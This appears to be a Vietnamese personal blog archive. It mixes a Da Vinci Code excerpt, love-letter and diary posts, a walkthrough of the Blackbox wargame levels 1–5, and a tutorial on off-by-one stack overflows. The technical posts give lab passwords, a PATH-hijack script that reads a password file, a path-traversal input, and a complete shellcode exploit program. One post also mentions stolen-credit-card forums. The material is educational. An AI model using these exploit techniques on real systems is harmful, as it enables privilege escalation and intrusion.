Sao năm cánh - tính nữ thiêng liêng.

No comments:
“Đó là một hình sao năm cánh”, Langdon nói, giọng ông nghe vang vọng trong không gian rộng lớn. “Một trong những biểu tượng cổ xưa nhất trên trái đất. Được dùng hơn bốn nghìn năm trước Công nguyên”.
“Và nó có ý nghĩa gì?”.
Câu hỏi này bao giờ cũng khiến Langdon do dự. Nói với ai đó một biểu tượng có ý nghĩa gì cũng giống như nói họ nên cảm nhận một bài hát như thế nào - điều đó với mỗi người một khác. Chiếc mũ trắng trùm đầu của Đảng 3K (Ku Klux Klan) gợi lên ở Mỹ những hình ảnh của căm thù và chủ nghĩa phân biệt chủng tộc, nhưng cùng trang phục ấy lại mang ý nghĩa về niềm tin tôn giáo ở Tây Ban Nha.
“Các biểu tượng mang những ý nghĩa khác nhau trong từng hoàn cảnh khác nhau!”, Langdon nói. “Ban đầu, ngôi sao năm cánh là biểu tượng vô tôn giáo”.
Fache gật đầu: “Thờ ma quỷ”.
“Không”, Langdon sửa lại, ngay lập tức nhận ra rằng sự lựa chọn từ ngữ của ông nên rõ ràng hơn.
Ngày nay, từ pagan (vô đạo) đã trở thành đồng nghĩa với thờ ma quỷ - một cách hiểu sai thô thiển. Gốc của từ này thực sự bắt nguồn từ chữ Latinh paganus, nghĩa là người nhà quê.
“Pagan” là những người dân quê chưa được truyền giáo thực sự nên cứ bám lấy những tôn giáo cổ xưa và thôn dã thờ Tự Nhiên. Trên thực tế, Nhà Thờ sợ những người sống ở làng quê đến nỗi một từ vô thưởng vô phạt để chỉ “dân làng” (villain) - cũng bị biến nghĩa thành kẻ xấu.
“Ngôi sao năm cánh”, Langdon cố làm cho nó dễ hiểu hơn, “là một biểu tượng trước Công Nguyên có liên quan đến tín ngưỡng tôn thờ Tự nhiên. Người cổ đại luôn hình dung thế giới của họ thành hai nửa - nam tính và nữ tính. Các nam thần và nữ thần của họ cùng nhau giữ cho cân bằng quyền lực âm và dương. Khi tính nam và tính nữ cân bằng thì có sự hài hòa trong thế giới. Khi chúng mất cân bằng, thì sẽ xuất hiện sự lộn xộn”.
Langdon chỉ vào bụng của Saunière. “Hình sao năm cánh này tiêu biểu nửa cái của mọi sự vật - một khái niệm mà các sứ giả tôn giáo gọi là “tính nữ thiêng liêng” hay “nữ thần siêu phàm”. Saunière ở trong số ít người biết được điều này”.
“Saunière vẽ một biểu tượng nữ thần trên bụng mình sao?”.
Langdon phải thừa nhận, điều đó có vẻ kỳ lạ: “Theo cách diễn giải cụ thể nhất, thì hình sao năm cánh tượng trưng cho thần Vệ nữ - nữ thần của tình yêu xác thịt và sắc đẹp”.
Fache nhìn người đàn ông lõa thể và lầm bầm.
“Tôn giáo sơ khai dựa trên trật tự thiêng liêng của Tự nhiên. Thần Vệ nữ và sao Kim là một. Nữ thần này có một chỗ trên bầu trời đêm và được gọi bằng nhiều tên - Vệ nữ, Ngôi Sao Phương Đông, Ishtar, Astarte - tất cả đều là những khái niệm mang tính nữ đầy quyền uy với mối liên hệ chặt chẽ với Tự nhiên và Mẹ Đất”.
Fache lúc này có vẻ còn hoang mang hơn, như thể, cách nào đó, ông ta vẫn thích cái ý nghĩa thờ ma quỷ hơn.
Langdon quyết định không nói cho ông ta biết đặc điểm kỳ lạ nhất của hình sao năm cánh - nguồn gốc những liên hệ mang tính đồ họa của nó với sao Kim.
Khi còn là một sinh viên trẻ khoa chiêm tinh học, Langdon đã sửng sốt khi biết rằng cứ tám năm một lần, sao Kim lại vẽ trên bầu trời một hình sao năm cánh hoàn hảo. Người cổ đại đã quá kinh ngạc khi quan sát hiện tượng này đến mức sao Kim cùng hình vẽ này trở thành biểu tượng của sự hoàn hảo, vẻ đẹp, và những phẩm chất chu kỳ của tình yêu nhục dục. Để tỏ lòng tôn kính đối với phép thuật của sao Kim, người Hy Lạp đã dùng chu kỳ tám năm để tổ chức thế vận hội Olympic. Ngày nay, rất ít người nhận ra rằng chu kỳ bốn năm của Olympic hiện đại vốn theo nửa chu kỳ của sao Kim. Càng hiếm hơn nữa những người biết rằng hình sao năm cánh đã từng gần như trở thành con dấu chính thức của thế vận hội Olympic nhưng đã bị cải biên vào phút cuối - năm đỉnh của nó chuyển thành năm vòng tròn giao nhau để phản ánh tốt hơn tinh thần đoàn kết và hòa đồng của các cuộc chơi.
“Ông Langdon”, Fache đột nhiên nói. “Rõ ràng, hình sao năm cánh chắc cũng liên quan đến ma quỷ. Những bộ phim Mỹ kinh dị của các ông chứng tỏ rõ điểm đó”.
Langdon cau mày. Cảm ơn ngài, Hollywood. Giờ đây, trên thực tế hình sao năm cánh là hình ảnh rập khuôn trong những bộ phim truyền hình nhiều tập thuộc loại dao găm súng lục, thường được vẽ trên tường nhà của những kẻ thờ quỷ Satan cùng với những biểu tượng khác được cho là gắn với ma quỷ.
Langdon luôn luôn thất vọng khi ông thấy biểu tượng sao năm cánh trong khung cảnh như vậy; nguồn gốc đích thực của hình sao năm cánh thực sự linh thiêng.
“Tôi cam đoan với ông”, Langdon nói, “dù ông nhìn thấy bất kỳ điều gì trong các bộ phim, thì cách giải thích mang tính ma quỷ về hình sao năm cánh vẫn là không chính xác về mặt lịch sử. Ý nghĩa nữ tính ban đầu là chính xác, nhưng tính biểu tượng của hình sao năm cánh đã bị bóp méo qua cả thiên niên kỷ. Trong trường hợp này, là thông qua chém giết”.
“Tôi không chắc là tôi hiểu những điều ông nói”.
Langdon liếc nhìn cây thánh giá của Fache, không biết làm thế nào để diễn đạt ý tiếp theo của mình: “Giáo hội, thưa ông.
Các biểu tượng thường rất lâu bền nhưng biểu tượng hình sao năm cánh đã bị Giáo hội Thiên Chúa giáo La Mã cổ thay đổi.
Như một phần trong chiến dịch của Vatican nhằm tiêu diệt tôn giáo vô thần và cải đạo cho dân chúng sang Thiên Chúa giáo, Giáo hội đã thực thi một chiến dịch bôi nhọ các nam thần và nữ thần ngoại đạo, biến những biểu tượng thần thánh của họ thành ma quỷ”.
“Tiếp tục đi”.
“Điều này rất phổ biến trong thời loạn”, Langdon tiếp tục. “Một thế lực mới nổi lên sẽ lấy các biểu tượng đang tồn tại và làm mất giá trị của chúng qua thời gian nhằm xóa đi ý nghĩa của chúng. Trong trận chiến giữa các biểu tượng vô đạo và biểu tượng của Thiên Chúa giáo, những người vô đạo đã thua; chiếc đinh ba của thần biển trở thành cái chĩa của quỷ, cái mũ nhọn của bà già thông thái trở thành biểu tượng của một phù thủy, và hình sao năm cánh của thần Vệ nữ trở thành một dấu hiệu của ma quỷ”. Langdon dừng lại. “Thật không may, quân đội Mỹ cũng hiểu sai hình sao năm cánh; giờ đây nó trở thành biểu tượng hàng đầu của chiến tranh. Chúng tôi vẽ nó trên tất cả các máy bay chiến đấu và gắn nó trên vai của mọi tướng lĩnh của chúng tôi. Chừng ấy điều xâm phạm đối với nữ thần tình yêu và sắc đẹp”.
“Hay đấy”, Fache hất đầu về phía cái xác nằm dang tay dang chân. “Còn vị trí của thi thể thì sao? ông nghĩ gì về điều đó?”.
Langdon nhún vai: “Vị trí chỉ đơn giản là để củng cố thêm gợi ý về hình sao năm cánh và tính nữ thiêng liêng”.
Vẻ mặt Fache sa sầm: “Làm ơn nhắc lại giùm?”.
“Bản sao. Việc nhắc lại một biểu tượng là cách đơn giản nhất để tăng cường ý nghĩa của nó. Jacques Saunière đặt cơ thể mình trong tư thế của hình sao năm cánh. Nếu một hình sao năm cánh là tốt, thì hai là tốt hơn”.
Mắt Fache nhìn theo năm đỉnh tay, chân, đầu của Saunière trong khi tay ông ta vuốt mái tóc trơn bóng.

Trích Chương 6 - Mật mã Da Vinci (Dan Brown)

Blackbox Wargame - Part 1

No comments:
Game này chủ yếu là tư duy + brain fucking là chính, chứ kĩ thuật thì không có gì đáng kể . Lúc trưa mới bắt mạng, chiều trời lại mưa nên lôi ra làm thử. Một èo tới level6, phần còn lại để dành làm đồ ăn mai dùng cho bữa sáng vậy. Thể lệ wargames này thì đơn giản, bọn nó sẽ cho bạn một cái password vào level1 - level đầu tiên. Phần nhiệm vụ của bạn là từ tài khoản đó, phải tìm cách khai thác một chương trình mang lỗi cho sẵn để nâng quyền lên level tiếp theo, và cứ như thế tiếp tục đến hết.

Trang chủ của wargame này : http://blackbox.smashthestack.org:85

ssh -l level1 blackbox.smashthestack.org -p 2225
Password: level1

Level1, có 1 file binary
-rws--xr-x  1 level2 level2 1189337 Jan 12  2008 login2
chạy thử file này :
level1@blackbox:~$ ./login2
Username: x
Password: x
Invalid username or password
à, chắc chắn sẽ có so sánh username + password, biết đâu đó password để vào level2 cũng có trong này thì sao, thử strings nó thử :
level1@blackbox:~$ strings login2 > /tmp/xxx
level1@blackbox:~$ ls /tmp/xxx
/tmp/xxx
level1@blackbox:~$ ls -la /tmp/xxx
-rw-r--r-- 1 level1 gamers 30296 Aug 14 13:45 /tmp/xxx
level1@blackbox:~$ head /tmp/xxx
PTRh
QVhz
0Y[]
[^_]
[^_]
[^_]
[^_]
,[^_]
[^_]
[^_]
---snip----
Khá dài, mò một chặp thì ra cái này : PassFor2 , đẹp nhỉ. Thử login vào thử level2, vào lun ;) .

Level2 :
source code :
level2@blackbox:~$ cat getowner.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
    char *filename;
    char buf[128];

    if((filename = getenv("filename")) == NULL) {
        printf("No filename configured!\n");
        return 1;
    }

    while(*filename == '/')
        filename++;
    strcpy(buf, "/tmp/");
    strcpy(&buf[strlen(buf)], filename);

    struct stat stbuf;
    stat(buf, &stbuf);
    printf("The owner of this file is: %d\n", stbuf.st_uid);

    return 0;
}

quá đơn giản, lỗi stack overflow cơ bản, qua level này, kiếm pass level3 : Over****low

Level3 :
source code
level3@blackbox:~$ cat proclist.cc
#include <iostream>>
#include <>

int main(int main, char **argv)
{
    std::string command;
    std::string program;

    std::cout << "Enter the name of the program: ";
    std::cin >> program;

    for(unsigned int i = 0; i < program.length(); i++) {
        if(strchr(";^&|><", program[i]) != NULL) {
            std::cout << "Fatal error" << std::endl;
            return 1;
        }
    }


    // Execute the command to list the programs
    command = "/bin/ps |grep ";
    command += program;
    system(command.c_str());

    return 0;
}

gì mà rối tinh thế nhỉ, nhưng không quan trọng, chương trình chạy lệnh grep. Vậy thì tạo một cái grep "giả mạo" để đọc password rồi lừa nó đọc thôi chứ gì ;)).

level3@blackbox:~$ export PATH="/tmp/"
level3@blackbox:~$ ./proclist 
Enter the name of the program: x
BashingSh
level3@blackbox:~$ cat /tmp/grep
-bash: cat: command not found
level3@blackbox:~$ /usr/bin/cat /tmp/grep
-bash: /usr/bin/cat: No such file or directory
level3@blackbox:~$ /bin/cat /tmp/grep
#!/bin/sh
/bin/cat /home/level4/password
level3@blackbox:~$
Level 4 :
source code

#include <iostream>
#include <fstream>
#include <string>


std::string strreplace(const char *msg, const char *replace, const char *with)
{
    std::string ret;

    while(*msg) {
        if(strncmp(msg, replace, strlen(replace)) == 0) {
            ret += with;

            // Skip all in msg until we have another match
            msg++;
            for(unsigned int i = 1; i < strlen(replace) && *msg; i++) {
                if(strncmp(msg, replace, strlen(replace)) == 0)
                    break;
                msg++;
            }

            continue;
        } else
            ret += *msg;
        msg++;
    }

    return ret;
}

int main(int argc, char **argv)
{
    if(argc < 2) {
        std::cout << "This program allows you to read files from my shared files. See /usr/share/level5 for my shared files. Simply use the path relative to my shared files to read a file!" << std::endl;
        std::cout << "Example: " << argv[0] << " lyrics/foreverautumn" << std::endl;
        return 1;
    }

    std::string start_path = "/usr/share/level5/";
    std::string relative_path = "";
    char *ptr;

    ptr = argv[1];
    while(*ptr == '/' || *ptr == '.')
        ptr++;

    relative_path = strreplace(ptr, "/../", "");
    relative_path = strreplace(relative_path.c_str(), "/./", "");

    std::string realpath = start_path + relative_path;

    std::cout << "Contents of " << realpath << ":" << std::endl;

    std::ifstream file(realpath.c_str(), std::ios::in);
    if(!file.is_open()) {
        std::cerr << "Unable to open file" << std::endl;
        return 1;
    }

    std::string cline;

    while(!file.eof()) {
        std::getline(file, cline);
        std::cout << cline << std::endl;
    }

    return 0;
}
>"< , làm gì mà std:: rồi /../.. loạn xạ thế trời. Chương trình này đọc file, rồi xuất nội dung ra. Nhưng ý của chương trình là chỉ cho đọc trong /usr/share/level5/ thôi. Cái hàm replace() nó lọc kí tự đưa vào để "chống" ta đọc mấy file ngoài đó đấy. Sau một hồi fuzzing thì nó cũng lòi ra chỗ hở (lỗi nằm trong hàm replace() ), fuck ngay :

./shared ../ghj/./../././/
Contents of /usr/share/level5/ghj/../:

cứ như vầy mà dẫn nó đến file cần đọc ;) .

Level 5 :
#include <stdio.h>


int main(int argc, char **argv)
{
    char buf[100];
    size_t len;
    char fixedbuf[10240];
    FILE *fh;
    char *ptr = fixedbuf;
    int i;

    fh = fopen("somefile", "r");
    if(!fh)
        return 0;

    while((len = fread(buf, 1, 100, fh)) > 0) {
        for(i = 0; i < len; i++) {
            // Disable output modifiers
            switch(buf[i]) {
            case 0xFF:
            case 0x00:
            case 0x01:
                break;
            default:
                *ptr = buf[i];
                ptr++;
            }
        }
    }
    printf("%s", fixedbuf);

    fclose(fh);
}

ghê gớm nhỉ :)) . Nhưng mà nó đọc file, rồi in ra. Cho nó đọc file ta đang cần là xong ;) .



Hết phần 1.

Trở về

No comments:
Vậy là đã đặng 5 tháng, mình lại được về quê, về với má, với ba, với thèn em, với lũ bạn thân yêu. Nữa tháng thôi, mình sẽ làm gì trong nữa tháng này nhỉ . Sẽ chơi với bạn bè của mình cho thật đã, hihi.

Ôi, đồ giặc lúc trưa, thi xong lúc chiều về mới phơi. Không biết là có khô nổi không, huhuhu.

ì lại

No comments:
Đang chơi ctf với mọi người, nhưng mình lại cứ đi tới gần đích, nhìn thấy con đường rồi lại dừng lại. Mình tìm kiếm cái gì chăng ???


Bỏ . Chạy lang thang thì lọt vào blog của anh hieuln, haha, phải đọc thử lão viết gì nào. Nói chuyện nhiều ở #vnsec, nhưng khi đọc blog thì mới thấy cái đáng giá, đáng học hỏi. Blog có nhiều bài viết rất đã, giống mình, từ suy nghĩ, tình yêu, đến cách sống... ka ka ka.

Thôi đi ngủ, mai có đề mới làm tiếp. Bài 8 fmt chỉ có thế thôi, mà không chịu làm gì cả, thiệt là ... mày đang bị gì à.

Anh yêu em - Nếu có thể hãy cho tình yêu sự kiên nhẫn

1 comment:
Mượn tâm sự của người để bày tỏ nỗi lòng .


Lâu lâu không viết cái gì, hôm nay nghe 'Patience' tự nhiên muốn viết cái gì đó không phải cho mình mà cũng chẳng cho ai, chỉ là một bài viết cảm nhận như mọi khi về cuộc sống mà mình đang đi qua từng ngày. Hy vọng sẽ có ai tìm được gì đó trong nó. (Nghiêm Trọng Việt)
Tình yêu, hãy dành cho nó sự kiên nhẫn.

Nhóm nhạc rock lừng danh Guns N' Roses. Ảnh: muchmusic.
 
"Shed a tear 'cause I'm missin' you
I'm still alright to smile
Girl, I think about you every day now
Was a time when I wasn't sure
But you set my mind at ease
There is no doubt
You're in my heart now"

 
Cả đêm qua anh đã không ngủ được vì những cảm xúc kia lại quay về ám ảnh anh. Anh nhớ mình đã từng nói với em, anh rất thích đoạn huýt sáo và đoạn dạo guittar đầu của nó, có cái giác gì trống vắng, cứ chậm chậm thôi mà nghe thật cô đơn. Đêm, cái không gian tĩnh mịch đó lại làm anh nhớ về em. Khóc? Anh đang tự hỏi mình đang khóc vì cái gì đây? Nhớ em, áp lực cuộc sống hay vì cái gì đó. Anh cũng chả biết nữa, nhưng anh vẫn chắc một điều, anh vẫn có thể cười khi gặp em. Em à, anh đang nghĩ về em như bao ngày, em vẫn vậy vẫn luôn ngự trị trong trái tim anh. Nhưng giờ anh biết, anh mất cơ hội được nhìn thấy nụ cười của em, giọng nói ấm áp, sưởi ấm tâm hồm anh những ngày tháng qua rồi.
"Said, woman, take it slow
It'll work itself out fine
All we need is just a little patience
Said, sugar, make it slow
And we come together fine
All we need is just a little patience
(patience)
Mm, yeah"

Em nói rằng, cứ chầm chậm thôi, hay cho em thêm thời gian. Cái chúng ta cần là một chút gì đó kiên nhẫn, thời gian, mọi thứ sẽ trở nên tốt đẹp hơn. Nhiều lúc anh tự hỏi mình, không biết anh kiên nhẫn vậy đã đủ chưa, hay còn phải kiên nhẫn hơn nữa. Mà không biết em bắt anh phải kiên nhẫn đến bao giờ, hãy cho anh một câu trả lời. Một câu thôi, để xóa đi sự chờ đợi của anh trong suốt thời gian vừa qua, để anh có thể bước tiếp...
Nhưng thực tế cho thấy, em chẳng nói gì, mặc anh trong chờ đợi.
Đã có những lúc anh muốn nói với em, anh mệt mỏi lắm rồi, nhưng anh không đủ can đảm hay nói đúng hơn là anh không thể nói ra, với anh, em quá tuyệt vời. Ngày trước, khi em xuất hiện, anh như tìm ra một cái gì đó mới mẻ mà anh nghĩ nó đã thay đổi cuộc sống của anh. Và đúng thế thật, nó đã thay đổi như ngày hôm nay, thay đổi khiến anh không ngờ đến.
"I sit here on the stairs
'Cause I'd rather be alone
If I can't have you right now
I'll wait, dear
Sometimes I get so tense
But I can't speed up the time
But you know, love
There's one more thing to consider"

Anh đang ngồi bên những bậc cầu thang, anh muốn mình đơn độc, cô đơn. Điều đó còn làm anh thoải mái hơn khi nghĩ về em. Em bảo anh chờ, anh sẽ chờ, sẽ đếm từng ngày, đôi lúc anh muốn xé toạc cái khoảng thời gian đó, chờ với cái niềm tin nhỏ bé: "Mọi thứ sẽ trở nên tốt đẹp". Nhưng em có hiểu một điều rằng "tình yêu không phải là thứ để chiêm ngưỡng". Anh mệt mỏi và sự kiên nhẫn trong anh đang lụi tàn.
"Said, woman, take it slow
And things will be just fine
You and I'll just use a little patience
Said, sugar, take the time
'Cause the lights are shining bright
You and I've got what it takes
To make it, We won't fake it,
I'll never break it
'cause I can't take it"

Em nói hãy kiên nhẫn, kiên nhẫn đời chờ rồi mọi thứ sẽ tốt đẹp. Ánh bình minh sẽ lại tỏa sáng, và sẽ có một ngày chúng ta sẽ bên nhau. Anh đã tin, ít nhất đến thời điểm mà anh thấy em đã gặp và yêu một người khác, cái người mà em mới gặp chưa tới nửa tháng. Vậy thì liệu sự kiên nhẫn nó có ở đây không? Hay chỉ là sự lừa dối, một hình thức lót đường để tìm một người mới. Vậy thì sau này anh có cần kiên nhẩn chờ đợi nữa hay không? Sẽ tiếp tục kiên nhẫn nữa chứ. Liệu anh có thể dũng cảm đi tiếp con đường mà anh không còn có em bên cạnh nữa không. Anh đã từng hứa anh sẽ làm nên tình yêu, sẽ chẳng bao giờ đánh mất nó, vì tình cảm anh dành cho em luôn là sự chân thật từ trong lòng mình. Anh sẽ chăng đánh mất nó vì anh có bao giờ có nó đâu.

"I been walkin' the streets at night
Just tryin' to get it right
Hard to see with so many around
You know I don't like
Being stuck in the crowd
And the streets don't change
But baby the name
I ain't got time for the game
'cause I need you
Yeah, yeah, but I need you
Oo, I need you
Whoa, I need you
Oo, all this time"

Lang thang trên những con phố, có lẽ là cách tốt nhất với anh lúc này. Cho dù thật là khó khăn để tìm một lối đi cho riêng mình lúc này, mọi cái đều phảng phất hình ảnh em. Em biết đấy, anh ghét sự đông đúc, ghét cái tắc đường của Hà Nội, những con đường chẳng bao giờ thay đổi, chỉ có em là thay đổi. Nhưng anh cần em, ít nhất vào lúc này, khi niềm tin trong anh đang cạn kiệt mỗi phút trôi qua. Em đừng đem thời gian để làm trò chơi với anh được không, hãy cho anh niềm tin. Vì anh biết "Tình yêu, nếu có thể hãy dành cho nó sự kiên nhẫn". 

Patience
Trình bày: Guns N' Roses
Shed a tear 'cause I'm missin' you
I'm still alright to smile
Girl, I think about you every day now
Was a time when I wasn't sure
But you set my mind at ease
There is no doubt
You're in my heart now
Said, woman, take it slow
It'll work itself out fine
All we need is just a little patience
Said, sugar, make it slow
And we come together fine
All we need is just a little patience
(patience)
Mm, yeah
I sit here on the stairs
'Cause I'd rather be alone
If I can't have you right now
I'll wait, dear
Sometimes I get so tense
But I can't speed up the time
But you know, love
There's one more thing to consider
Said, woman, take it slow
And things will be just fine
You and I'll just use a little patience
Said, sugar, take the time
'Cause the lights are shining bright
You and I've got what it takes
To make it, We won't fake it,
I'll never break it
'cause I can't take it
I been walkin' the streets at night
Just tryin' to get it right
Hard to see with so many around
You know I don't like
Being stuck in the crowd
And the streets don't change
But baby the name
I ain't got time for the game
'cause I need you
Yeah, yeah, but I need you
Oo, I need you
Whoa, I need you
Oo, all this time

gửi đến em : Thật sự anh đang rất kiên nhẫn, anh sẽ đợi đến khi nào em muốn, điều đó cũng là một phần thử thách của tình yêu phải không em. Cho dù bây giờ, giữa chúng ta, một khoảng cách mơ hồ đang ngự trị, em giận anh, anh giận em, chúng ta đã không gặp nhau lâu rồi . Anh rất muốn gặp em, nói với em rằng anh rất yêu em, hơn nhiều lần em có thể tưởng tượng, anh yêu em hơn bất kì ai khác. Anh yêu em, đơn giản chỉ vì em là em, là một nửa của đời anh, và em đã ngự trị hoàn toàn trái tim anh rồi .


Em có nhớ lúc ở KTX ĐHQG không, lúc hai đứa, H và An đang đùa với nhau, nói chuyện tương lai, gia đình. Rồi anh hỏi em "Còn hai đứa mình thì sao ?", em đã nhìn anh, với ánh mắt diệu dàng, ánh mắt làm anh say đắm. Anh cá rằng, không người con gái nào có ánh mắt đẹp như em. Em trả lời rằng "Biết rồi còn hỏi !", giọng em nũng nịu làm sao. Dù lấp lửng, nhưng anh hiểu, đó là lời thú tội ngọt ngào của em, rằng em cũng như anh, đã rơi vào cái bẫy của thần tình ái phải không . Anh yêu em, và xin em, hãy là chính mình, sống bằng con tim, hãy cùng anh yêu cho hết khác khao cháy bỏng, yêu như hai kẻ điên cuồng. Như Xuân diệu đã từng viết :
Hãy sát đôi đầu! Hãy kề đôi ngực!
Hãy trộn nhau đôi mái tóc ngắn dài!
Những cánh tay! Hãy quấn riết đôi vai!
Hãy dâng cả tình yêu lên sóng mắt!
Hãy khắng khít những cặp môi gắn chặt
Cho anh nghe đôi hàm ngọc của răng;
Trong say-sưa, anh sẽ bảo em rằng :
"Gần thêm nữa! Thế vẫn còn xa lắm!"
Anh sẽ chờ em, hãy hoàn thành những gì em cần làm, hãy thực hiện nó thật tốt. Và hãy luôn nhớ rằng, trên con đường em đang đi, bên em đó là anh, luôn dõi theo em mỗi ngày. Em thấy không, phía cuối đường kia, ngôi nhà và những đứa trẻ .


Anh yêu em.

Off by one - overwrite ebp with one byte .

No comments:
Trong các tình huống tràn bộ đệm khác nhau, nhiều trường hợp, chỉ có thể ghi đè được 1 byte duy nhất ra ngoài vùng được phép - ghi đè 1 byte lên thanh ghi ebp. Bài viết này sẽ trình bày một số điểm khái quát trong quá trình tận dụng lỗi này .

Trước hết, một source code của chương trình bị lỗi như sau :

#include <stdio.h>

func(char *sm)
{
        char buffer[256];
        int i;
        for(i=0;i<=256;i++)
                buffer[i]=sm[i];
}

main(int argc, char *argv[])
{
        if (argc < 2) {
                printf("missing args\n");
                exit(-1);
        }

        func(argv[1]);
}

Để khai thác được lỗi này, thì phải compile chương trình trên bằng gcc 3.x với option -mpreferred-stack-boundary=2 :

crazyboy@h4x0r:$ gcc -mpreferred-stack-boundary=2 offone.c -o offone

Hàm func() của chương trình trên đã bị lỗi ở đoạn 

for(i=0;i<=256;i++)
      buffer[i]=sm[i];

Thay vì chép 256 bytes, thì nó đã tự sát bằng cách chép đến 257 bytes, đồng nghĩa với việc $ebp bị ghi đè 1 byte. Sơ đồ vùng nhớ khi đang ở trong hàm func lúc bị ghi đè như sau :

saved_eip
 saved_ebp (bị ghi đè 1 byte)   
 AAAAAAAAA   \
 AAAAAAAAA    |  char buffer 
 AAAAAAAAA   /
 int i

Dùng gdb, có thể dễ dàng kiểm chứng rỏ hơn việc $ebp bị ghi đè như thế nào :

(gdb) disass func
Dump of assembler code for function func:
0x080483d4 :    push   %ebp
0x080483d5 :    mov    %esp,%ebp
0x080483d7 :    sub    $0x104,%esp
0x080483dd :    movl   $0x0,0xfffffefc(%ebp)
0x080483e7 :    cmpl   $0x100,0xfffffefc(%ebp)
0x080483f1 :    jg     0x8048418
0x080483f3 :    lea    0xffffff00(%ebp),%eax
0x080483f9 :    mov    %eax,%edx
0x080483fb :    add    0xfffffefc(%ebp),%edx
0x08048401 :    mov    0xfffffefc(%ebp),%eax
0x08048407 :    add    0x8(%ebp),%eax
0x0804840a :    mov    (%eax),%al
0x0804840c :    mov    %al,(%edx)
0x0804840e :    lea    0xfffffefc(%ebp),%eax
0x08048414 :    incl   (%eax)
0x08048416 :    jmp    0x80483e7
0x08048418 :    leave 
0x08048419 :    ret   
End of assembler dump.
(gdb) disass main
Dump of assembler code for function main:
0x0804841a :    push   %ebp
0x0804841b :    mov    %esp,%ebp
0x0804841d :    cmpl   $0x1,0x8(%ebp)
0x08048421 :    jg     0x8048437
0x08048423 :    push   $0x8048554
0x08048428 :    call   0x80482d8
0x0804842d :    add    $0x4,%esp
0x08048430 :    push   $0xffffffff
0x08048432 :    call   0x80482e8
0x08048437 :    mov    0xc(%ebp),%eax
0x0804843a :    add    $0x4,%eax
0x0804843d :    pushl  (%eax)
0x0804843f :    call   0x80483d4
0x08048444 :    add    $0x4,%esp
0x08048447 :    leave 
0x08048448 :    ret   
End of assembler dump.
(gdb)
Continuing.
Breakpoint 8, 0x08048447 in main ()
(gdb) i r ebp
ebp            0xbffff441    0xbffff441
(gdb)

Như vậy, $ebp đã bị ghi đè đúng 1 byte.

Giá trị của $esp đã được điều khiển tùy ý trong khoản 0xbffff400 đến 0xbffff4ff . Dữ liệu vào sẽ được bố trí như sau :

 [NOP][shellcode][&NOP][1 byte X ghi đè lên ebp]

Giá trị của X = [byte thấp của &NOP] - 4 ( 4 bytes khi leave sẽ được pop $ebp ). Lúc này,sau khi đến lệnh ret cuối hàm main, chương trình sẽ tiến hành ret vào $esp hiện giờ đang chứa đia chỉ của phần shellcode phía trước. Địa chỉ của $esp trong hàm func sẽ làm địa chỉ nền để ret về :

(gdb) b* 0x080483dd
Breakpoint 6 at 0x80483dd
(gdb) b* 0x08048418
Breakpoint 7 at 0x8048418
(gdb) r `python -c 'print "A"*257'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/offone/offone `python -c 'print "A"*257'`

Breakpoint 6, 0x080483dd in func ()
(gdb) x/2x $esp
0xbffff328:    0xb7fcf000    0xbffff380
(gdb) c
Continuing.

Breakpoint 7, 0x08048418 in func ()
(gdb) x/2x $esp
0xbffff328:    0x00000101    0x41414141
(gdb)
Như vậy, địa chỉ ret về sẽ là 0xbffff32c .

Chương trình khai thác như sau :

#include <stdio.h>
#include <unistd.h>

char sc_linux[] =
        "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
        "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
        "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
        "\xd7\xff\xff\xff/bin/sh";

main()
{
        int i, j;
        char buffer[1024];

        bzero(&buffer, 1024);
        for (i=0;i<=(248-sizeof(sc_linux));i++)
        {
                buffer[i] = 0x90;
        }
        for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
        {
                buffer[i] = sc_linux[j];
        }
        buffer[i++] = 0x2c; /*
        buffer[i++] = 0xf3;  * Địa chỉ của bufer sẽ đươc pop $ebp
        buffer[i++] = 0xff;  *
        buffer[i++] = 0xbf;  */
        buffer[i++] = 0x2c; /*
        buffer[i++] = 0xf3;  * 2 lần vì 1 địa chỉ để pop $ebp phải hợp lệ.
        buffer[i++] = 0xff;  * phần này sẽ được dùng để ret .
        buffer[i++] = 0xbf;  */
        buffer[i++] = 0x24;  // 0xbfff428 là địa chỉ của &NOP.
        execl("./offone", "offone", buffer, NULL);
}


Một số chi tiết về mã asm, địa chỉ sẽ khác nhau tùy máy, tùy hệ điều hành và các phiên bản khác nhau của compiler.

Bài viết có tham khảo từ : http://www.phrack.org/issues.html?id=8&issue=55

Tản mạn : Hạ Sơn !

No comments:
Mấy ngày gần đây, mình vừa ôn thi, vừa dành thời gian quá nhiều cho việc lang thang trên mạng. Tham gia ở vài diễn đàn như Xgroupvn, Vietmatrix, Hcegroup, vniss, ... và hai ba diễn đàn về CC chùa nữa . Mong là trong chuyến hành trình ấy, sẽ kiếm được bạn có cùng chí hướng, nhưng mộng bất thành. Kẻ thì quá ngạo mạng, với chút kiến thức nhỏ tí của mình thì xưng hùng xưng bá, không coi ai ra gì. Một tí thành tích local, deface, cộng với vài cái CC chùa, rồi mua domain, hosting lập nên cho mình một đại bản doanh group  này group nọ, hùng cứ một phương, vỗ ngực ta đây oai phong lẫm liệt.

Nói về phần mình thì cũng rất là rảnh, cũng tham gia thảo luận, cãi cọ đàng hoàng. Nhưng có lẽ cách tiếp cận vấn đề, đề xuất hướng giải quyết vấn đề của mình không phù hợp với các "hắc cờ" ngày nay cho lắm, nên mọi thứ đề đi vào ngỏ cụt và quên lãng.


Có khi điều đó cũng hay, nó giúp mình nhận ra nhiều điều, rồi mới có entry này chứ. Nó giúp mình hiểu được với sức một mình mình, không thể giúp đỡ được tất cả mọi người được . Và rằng với những kẻ chỉ thích thành công nhanh chóng, và mỗi khi đạt được thành công rồi thì không muốn tiếp tục nữa, ngủ quên trên cái vinh quang ảo của chính mình thì nên bỏ mặt đi.

Mình nhận ra rằng, về cách ứng xử, giao tiếp với cộng đồng của mình còn rất tệ. Nên cởi mở hơn, vui vẻ hơn và đừng dồn người ta vào đường cùng quá. Phải khiêm tốn, và tránh nói năng sổ sàng .

Về kiến thức thì còn phải trao dồi nhiều hơn nữa. Phải tiếp tục phấn đấu nếu không muốn bị bỏ lại đằng sau.

